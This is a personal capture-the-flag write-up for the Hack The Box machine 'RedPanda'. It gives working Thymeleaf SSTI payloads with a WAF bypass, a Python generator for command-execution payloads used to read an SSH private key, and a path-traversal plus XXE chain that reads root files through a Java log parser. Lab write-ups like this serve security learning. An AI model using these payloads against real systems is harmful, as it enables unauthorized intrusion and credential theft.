HTB Writeups
  • HTB Writeups
  • Boxes: Very Easy
    • Academy
    • Archetype
    • Arctic
    • Base
    • Bike
    • Blue
    • Explosion
    • Included
    • Markup
    • Oopsie
    • Redeemer
    • Responder
    • Shield
    • Unified
    • Vaccine
  • Boxes: Easy
    • Analytics
    • Armageddon
    • Bashed
    • Beep
    • Blocky
    • Bounty Hunter
    • Buff
    • Cap
    • CozyHosting
    • Devel
    • Explore
    • Forest
    • Grandpa
    • Granny
    • Horizontall
    • Jerry
    • Keeper
    • Knife
    • Lame
    • Late
    • Legacy
    • Mirai
    • Netmon
    • Nibbles
    • Optimum
    • Paper
    • Photobomb
    • Precious
    • RedPanda
    • Return
    • Sau
    • ScriptKiddie
    • Sense
    • Servmon
    • Shocker
    • Shoppy
    • Squashed
    • Trick
  • Boxes: Medium
    • Poison
  • Challenges
    • Behind the Scenes
    • Canvas
    • Debugging Interface
    • Digital Cube
    • Easy Phish
    • Find the Easy Pass
    • Forest
    • Infiltration
    • misDIRection
    • Pusheen Loves Graphs
    • Retro
    • Signals
    • The Secret of a Queen
    • Wrong Spooky Season
  • Fortresses
  • Cyber Apocalypse 2023: The Cursed Mission
    • The Cursed Mission
    • Alien Cradle
    • Critical Flight
    • Debug
    • Extraterrestrial Persistence
    • Getting Started
    • Needle in the Haystack
    • Orbital
    • Packet Cyclone
    • Passman
    • Perfect Sync
    • Persistence
    • Plaintext Tleasure
    • Questionnaire
    • Reconfiguration
    • Relic Maps
    • Roten
    • Secret Code
    • Shattered Tablet
    • Small StEps
  • Hack the Boo 2023
    • Hauntmart
    • Spellbrewery
    • Trick or Treat
    • Valhalloween
  • Cyber Apocalypse 2024: Hacker Royale
    • Hacker Royale
    • An Unusual Sighting
    • BoxCutter
    • BunnyPass
    • Character
    • Data Siege
    • Delulu
    • Dynastic
    • Fake Boost
    • Flag Command
    • Game Invitation
    • It has begun
    • KORP Terminal
    • Labyrinth Linguist
    • LockTalk
    • Lucky Faucet
    • Makeshift
    • Maze
    • Packed Away
    • Phreaky
    • Primary Knowledge
    • Pursue the Tracks
    • Rids
    • Russian Roulette
    • Stop Drop and Roll
    • Testimonial
    • TimeKORP
    • Unbreakable
    • Urgent
  • CYBER APOCALYPSE 2025: Tales from Eldoria
    • Tales from Eldoria
    • A New Hire
    • Cave Expedition
    • Echoes in Stone
    • Eldorion
    • Embassy
    • EncryptedScroll
    • HeliosDEX
    • Quack Quack
    • Silent Trap
    • Stealth Invasion
    • Tales for the Brave
    • The Ancient Citadel
    • The Hillside Haven
    • The Stone That Whispers
    • Thorins Amulet
    • ToolPie
    • Traces
    • Trial by Fire
    • Whispers of the Moonbeam
Powered by GitBook
On this page
  • Enumeration
  • SpringBoot SSTI w/ WAF Bypass
  • Java Code Analysis
  • Custom Exploit: LFI + XXE in Java
  • Summary
  1. Boxes: Easy

RedPanda

Personal Rating: Medium

Enumeration

The initial nmap scan shew the ports 22 and 8080 as open.

sudo nmap <IP>

On http://<TARGETIP>:8080/ there was a website with a search field. A caption "Made with Spring Boot" could be seen.

Searches can be made like this:

curl -v -u http://<TARGETIP>:8080/search -X POST -d "name=searchquery"

An XML file can be exported here: http://<TARGETIP>:8080/export.xml?author=woodenk The file had a format like this:

<?xml version="1.0" encoding="UTF-8"?>
<credits>
  <author>woodenk</author>
  <image>
    <uri>/img/greg.jpg</uri>
    <views>9</views>
  </image>
  <totalviews>12</totalviews>
</credits>

I tried fuzzing for directories, php files and parameters for the existing pages, with no useful results. Some basic OS command and SQL injection attempts yielded nothing either. Also an sqlmap scan didn't return anything interesting.

SpringBoot SSTI w/ WAF Bypass

Investing time in that however was a bad idea. The exploit seemed very advanced and i didnt know if it was the way to go. Before I tried most of the injection types, but forgot SSTI. Spring Boot supports multiple template engines in the backgound and soon i found that the payload #{7*7} returned the result ??49_en_US??.

Quick googling returns that Thymeleaf seems to be common as a template engine for Spring Boot Following that, i found that *{7*7} returned 49.

Running a tplmap scan and testing many common payloads i could exclude some template engines and found out, that a WAF bans those characters: _ $ % ~ I tried circumventing the WAF by URL encoding, trying other encoding types and common payloads. But it seemed like the Firewall blocks the Input directly and exoding is either blocked or not recognized by the backend.

At this point a friend of mine started with the box and we investigated together. Through some quick research we found out, that Spring boot supports many template engines, but Thymeleaf stood out as the most likely according to how often it is used and what my payloads returned. Checking out the Thymeleaf documentation and searching for some payloads we found out, that a Thymeleaf JRE vulnerability made this payload work to get the environment variables:

*{T(java.lang.System).getenv()}

You searched for: {PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, SHELL=/bin/bash, JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64, TERM=unknown, USER=woodenk, LANG=en_US.UTF-8, SUDO_USER=root, SUDO_COMMAND=/usr/bin/java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar, SUDO_GID=0, MAIL=/var/mail/woodenk, LOGNAME=woodenk, SUDO_UID=0, HOME=/home/woodenk}

As he explained, the T at the beginning stands for the variable 'class' that is of the type java.lang.System With his knowlege about java he made this payload:

*{''.getClass().forName('java.lang.Runtime').getRuntime().exec('id')}

Which returned: You searched for: Process[pid=72538, exitValue="not exited"]

With string concatenation he made this advanced payload work to give the output of the os command 'id':

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(105).concat(T(java.lang.Character).toString(100))).getInputStream())}

So we have three parts and the middle part has to be created and concatenated for each letter of the os command:

1: *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(105)

2: .concat(T(java.lang.Character).toString(100)) //add this for each characters

3: ).getInputStream())}

I wrote a quick and dirty Python script as payload generator. Not very elegant as i had to insert the first char manually, but I just wanted to get it to work somehow quickly:

workstring = 'at /home/woodenk/.ssh/id_rsa'

print('*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99)',end='')

for i in workstring:
    print('.concat(T(java.lang.Character).toString('+ str(ord(i)) + '))',end='') #add this for each character

print(').getInputStream())}',end='')

A reverse shell did not work this way, but by using the generated payload to cat /home/woodenk/.ssh/id_rsa we could get ssh access to the machine as the user woodenk.

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
<SNIP>
OqqL8fKlkVMKBLAAAAEHdvb2RlbmtAcmVkcGFuZGEBAg==
-----END OPENSSH PRIVATE KEY-----

I found out that i couldn't transfer files to the homedir of the user because the partition was full to a 100%. I was told that this is a really solid way to secure a filesystem from unauthorized writes; Artificially shrinking it to the absolute minimum size. Anyhow, there was /dev/shm which was writeable and had space, so I used that as file storage. I put LinEnum.sh, linuxprivchecker and pspy there and used these utilities to check for misconfigurations. Especially pspy served useful - I could discover a script that is run to delete certain files regularly. But the permissions were not misconfigured and the files were deleted already. That script was just auxiliary, but not of any use for us.

/bin/bash /opt/cleanup.sh

woodenk@redpanda:/opt$ cat cleanup.sh
#!/bin/bash
/usr/bin/find /tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.jpg" -exec rm -rf {} \;

Java Code Analysis

Checking out /opt we found the webserver files there. Investigating the folders an interesting file was found. I had to get a tip from the forum where people said that a java file is to be analyzed. The java file we then fould was called App.java and we took the time to analyze it thouroughly:

package com.logparser;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;

import com.drew.imaging.jpeg.JpegMetadataReader;
import com.drew.imaging.jpeg.JpegProcessingException;
import com.drew.metadata.Directory;
import com.drew.metadata.Metadata;
import com.drew.metadata.Tag;

import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;

public class App {
    public static Map parseLog(String line) {
        String[] strings = line.split("\\|\\|");
        Map map = new HashMap<>();
        map.put("status_code", Integer.parseInt(strings[0]));
        map.put("ip", strings[1]);
        map.put("user_agent", strings[2]);
        map.put("uri", strings[3]);
        

        return map;
    }
    public static boolean isImage(String filename){
        if(filename.contains(".jpg"))
        {
            return true;
        }
        return false;
    }
    public static String getArtist(String uri) throws IOException, JpegProcessingException
    {
        String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
        File jpgFile = new File(fullpath);
        Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
        for(Directory dir : metadata.getDirectories())
        {
            for(Tag tag : dir.getTags())
            {
                if(tag.getTagName() == "Artist")
                {
                    return tag.getDescription();
                }
            }
        }

        return "N/A";
    }
    public static void addViewTo(String path, String uri) throws JDOMException, IOException
    {
        SAXBuilder saxBuilder = new SAXBuilder();
        XMLOutputter xmlOutput = new XMLOutputter();
        xmlOutput.setFormat(Format.getPrettyFormat());

        File fd = new File(path);
        
        Document doc = saxBuilder.build(fd);
        
        Element rootElement = doc.getRootElement();
 
        for(Element el: rootElement.getChildren())
        {
    
            
            if(el.getName() == "image")
            {
                if(el.getChild("uri").getText().equals(uri))
                {
                    Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
                    System.out.println("Total views:" + Integer.toString(totalviews));
                    rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
                    Integer views = Integer.parseInt(el.getChild("views").getText());
                    el.getChild("views").setText(Integer.toString(views + 1));
                }
            }
        }
        BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
        xmlOutput.output(doc, writer);
    }
    public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
        File log_fd = new File("/opt/panda_search/redpanda.log");
        Scanner log_reader = new Scanner(log_fd);
        while(log_reader.hasNextLine())
        {
            String line = log_reader.nextLine();
            if(!isImage(line))
            {
                continue;
            }
            Map parsed_data = parseLog(line);
            System.out.println(parsed_data.get("uri"));
            String artist = getArtist(parsed_data.get("uri").toString());
            System.out.println("Artist: " + artist);
            String xmlPath = "/credits/" + artist + "_creds.xml";
            addViewTo(xmlPath, parsed_data.get("uri").toString());
        }

    }
}

The request header of requests to the website is saved to a file /opt/panda_search/redpanda.log and later used in the variable 'line' in the main function. The header parts are separated as seen in this part of the program:

        String[] strings = line.split("\\|\\|");
        Map map = new HashMap<>();
        map.put("status_code", Integer.parseInt(strings[0]));
        map.put("ip", strings[1]);
        map.put("user_agent", strings[2]);
        map.put("uri", strings[3]);

"uri" is used as a string in the main function in the variable "artist" as seen below, but only, if it contains an image!

String line = log_reader.nextLine();
            if(!isImage(line))
            {
                continue;
            }
            Map parsed_data = parseLog(line);
            System.out.println(parsed_data.get("uri"));
            String artist = getArtist(parsed_data.get("uri").toString());
            System.out.println("Artist: " + artist);
            String xmlPath = "/credits/" + artist + "_creds.xml";
            addViewTo(xmlPath, parsed_data.get("uri").toString());

The function getArtist reads the Artist tag of an image. So to summarize whats happening here: The request header of a request to the website is saved in a log, which is then read by the java Program. The uri part of the header is saved in a variable and if it is an image, the content of that image is written to an XML file at /credits/<imagecontent-variable>_credits.xml

Custom Exploit: LFI + XXE in Java

Again, as seen below, the header is separated and we cannot change the uri, otherwise the request would fail. So we use ||/../../../../../../dev/shm/soos.jpg as our user agent in the request. This way we write the user agent in the variable "uri" instead of "user_agent". The image at the location /dev/shm/soos.jpg is crafted by us to have a special Artist tag.

        String[] strings = line.split("\\|\\|");
        Map map = new HashMap<>();
        map.put("status_code", Integer.parseInt(strings[0]));
        map.put("ip", strings[1]);
        map.put("user_agent", strings[2]);
        map.put("uri", strings[3]);

The variable xmlPath that is created in the main function will then contain the Artist tag of our image. The tag will be set to /../../../../../../dev/shm/file:

exiftool -ARTIST=/../../../../../../../dev/shm/file

At /dev/shm we will place the xml that we downloaded before with the name file_credits.xml. It will be loaded in the following code part as the "path" variable:

    public static void addViewTo(String path, String uri) throws JDOMException, IOException
    {
        SAXBuilder saxBuilder = new SAXBuilder();
        XMLOutputter xmlOutput = new XMLOutputter();
        xmlOutput.setFormat(Format.getPrettyFormat());

        File fd = new File(path);
        
        Document doc = saxBuilder.build(fd);

This function uses the xml file at "path" as a template and writes back to it some info related to the website. Because the XML parser runs as root, we can craft the XML file to contain an XXE like this:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY pwnd SYSTEM "file:///root/root.txt"> ]>
<credits>
  <author>woodenk</author>
  <image>
    <uri>/img/greg.jpg</uri>
    <views>9</views>
  </image>
  <sheesh>
    &pwnd;
  </sheesh>
  <totalviews>12</totalviews>
</credits>

When we send a request with the above mentioned user agent now, the root flag should be written to the XML file.

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
<SNIP>
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----

Summary

Summarizing what was done to pwn this box:

  • Using this Python script to generate the payload that returns the users private ssh key when sending a request with curl -v -u http://<TARGETIP>:8080/search -X POST -d 'name=<PAYLOAD>'

    workstring = 'at /home/woodenk/.ssh/id_rsa'
    
    print('*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99)',end='')
    
    for i in workstring:
        print('.concat(T(java.lang.Character).toString('+ str(ord(i)) + '))',end='') #add this for each character
    
    print(').getInputStream())}',end='')
  • Creating a file /dev/shm/soos.jpg that contains the image tag Artist: /../../../../dev/shm/file

  • Creating a file /dev/shm/file_credits.xml that contains an XXE exploit to read /root/root.txt

  • Sending a request to the website that contains the user agent ||/../../../../../../dev/shm/soos.jpg

  • Reading the root flag that was written back to the XML file

This box was very difficult for me and I had to consult the forum and ask a friend for help. I would not have found the java SSTI without his java proficiency. But I learned that you sometimes have to come back to an application that you already exploited, to use it to get higher privileges. Also the way of combining image metadata, a command injection and an LFI was very interesting.

PreviousPreciousNextReturn

Last updated 1 year ago

I started researching for common Spring Boot vulnerabilities and found this:

https://github.com/mpgn/Spring-Boot-Actuator-Exploit
https://0xn3va.gitbook.io/cheat-sheets/framework/spring/spring-boot-actuators